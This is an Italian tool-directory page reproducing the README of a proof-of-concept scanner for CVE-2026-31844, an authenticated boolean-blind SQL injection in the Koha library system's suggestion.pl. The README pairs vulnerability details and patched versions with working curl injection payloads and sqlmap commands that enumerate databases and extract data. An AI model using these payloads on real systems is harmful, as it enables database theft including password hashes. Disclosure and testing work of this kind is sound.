Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/mothra-1/cve-2026-31844
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

Scanner di SQL injection autenticato per il Koha Library Management System (CVE-2026-31844) che utilizza la tecnica blind basata su boolean per verificare la vulnerabilità ed estrarre dati.

Vedi Repository
1146 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Koha CVE-2026-31844: SQL Injection autenticata

Release Python 3.6+ CVE ID License

Panoramica

Questo repository contiene un POC responsabile per la vulnerabilità CVE-2026-31844, una SQL injection autenticata ad alta gravità nel sistema di gestione bibliotecaria Koha.

La vulnerabilità esiste nella funzione GetDistinctValues in C4/Search.pm, che viene chiamata dallo script /cgi-bin/koha/suggestion/suggestion.pl. Può essere sfruttata tramite il parametro displayby.

  • Bug Koha: #41593
  • Versioni corrette: 26.05.00, 25.11.01, 25.05.07, 24.11.12

Dettagli della vulnerabilità

Il parametro displayby nello script suggestion.pl viene utilizzato per costruire un nome di colonna qualificato da tabella, che viene poi passato alla funzione GetDistinctValues. Tuttavia, questa funzione incorpora direttamente sia il nome della tabella che quello della colonna in una query SQL grezza senza eseguire alcuna validazione dell'input o parametrizzazione. Di conseguenza, un attaccante può manipolare il parametro displayby per iniettare codice SQL dannoso nella query. Poiché l'input non viene sanitizzato prima di essere incluso nell'istruzione SQL, questo comportamento introduce una vulnerabilità di SQL Injection, che può consentire a un attaccante di eseguire comandi SQL arbitrari sul database utilizzando la tecnica Boolean-Based Blind.

# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );

Scopritore

Raximov Shukrulloh (Mothra)

Puoi scansionare il tuo target qui

Lo scanner utilizza la tecnica Boolean-Based Blind per verificare la vulnerabilità

Iniettando istruzioni condizionali nella posizione del nome della colonna, possiamo osservare risposte HTTP differenziali:

  • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Errore di sottoselezione → HTTP 500
  • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Query valida → HTTP 200

Se il target restituisce un 500 per la condizione vera e un 200 per la condizione falsa, la vulnerabilità è confermata.

Installazione e utilizzo

1. Clona il repository

git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner

2. Installa i requisiti

pip3 install requests

3. Esegui lo scanner

Devi fornire credenziali valide per un account staff Koha con il permesso suggestions.

python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password

Per target con certificati SSL autofirmati:

python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl

4. Esempio di output

╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
║       Authenticated SQLi in suggestion.pl (displayby)         ║
║                 (Responsible Check Only)                      ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!

============================================================
 VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
    [1] Testing baseline request (STATUS)... HTTP 200 (OK)
    [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
    [3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================

[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 

[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.

Proof of Concept (PoC) manuale

Puoi verificare manualmente la vulnerabilità tramite curl. Innanzitutto, autenticati all'interfaccia staff di Koha e cattura il tuo cookie CGISESSID.

Condizione vera (restituisce HTTP 500):

curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"

Condizione falsa (restituisce HTTP 200):

curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"

5. Sfruttamento tramite SQLMap

SQLMap supporta nativamente l'iniezione blind basata su booleani. Per automatizzare l'estrazione dei dati, salva una richiesta HTTP autenticata valida in request.txt. Mantieni validi i cookie csrf_token e CGISESSID.

Esempio di request.txt:

GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0

Esegui SQLMap con la tecnica booleana (--technique=B):

# Estrazione di base del database
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs

# Estrazione dell'utente corrente
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user

Oppure eseguilo direttamente dalla riga di comando:

sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
  --cookie="CGISESSID=your_session_id_here" \
  -p displayby \
  --dbms=mysql \
  --technique=B \
  --current-db

Dopo qualche tempo, sqlmap identificherà il payload corretto.

Impatto

Se non corretta, questa vulnerabilità consente a un attaccante autenticato di:

  1. Estrarre informazioni sensibili (registri degli utenti, hash delle password)
  2. Enumerare lo schema del database
  3. Compromettere completamente il database backend

Mitigazione

Aggiorna Koha alla versione 24.11.12, 25.05.07, 25.11.01 o 26.05.00 (o successive) che include una correzione per questa vulnerabilità.

Crediti

Raximov Shukrulloh (Mothra)

Contatti

Bot Telegram @MothraContact_bot

Considerazioni etiche

Questa proof of concept è fornita esclusivamente a scopo educativo e difensivo. Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema per vulnerabilità.

Disclaimer

L'autore non è responsabile per qualsiasi uso improprio di queste informazioni. Questa proof of concept dovrebbe essere utilizzata solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test.

Scarica lo strumento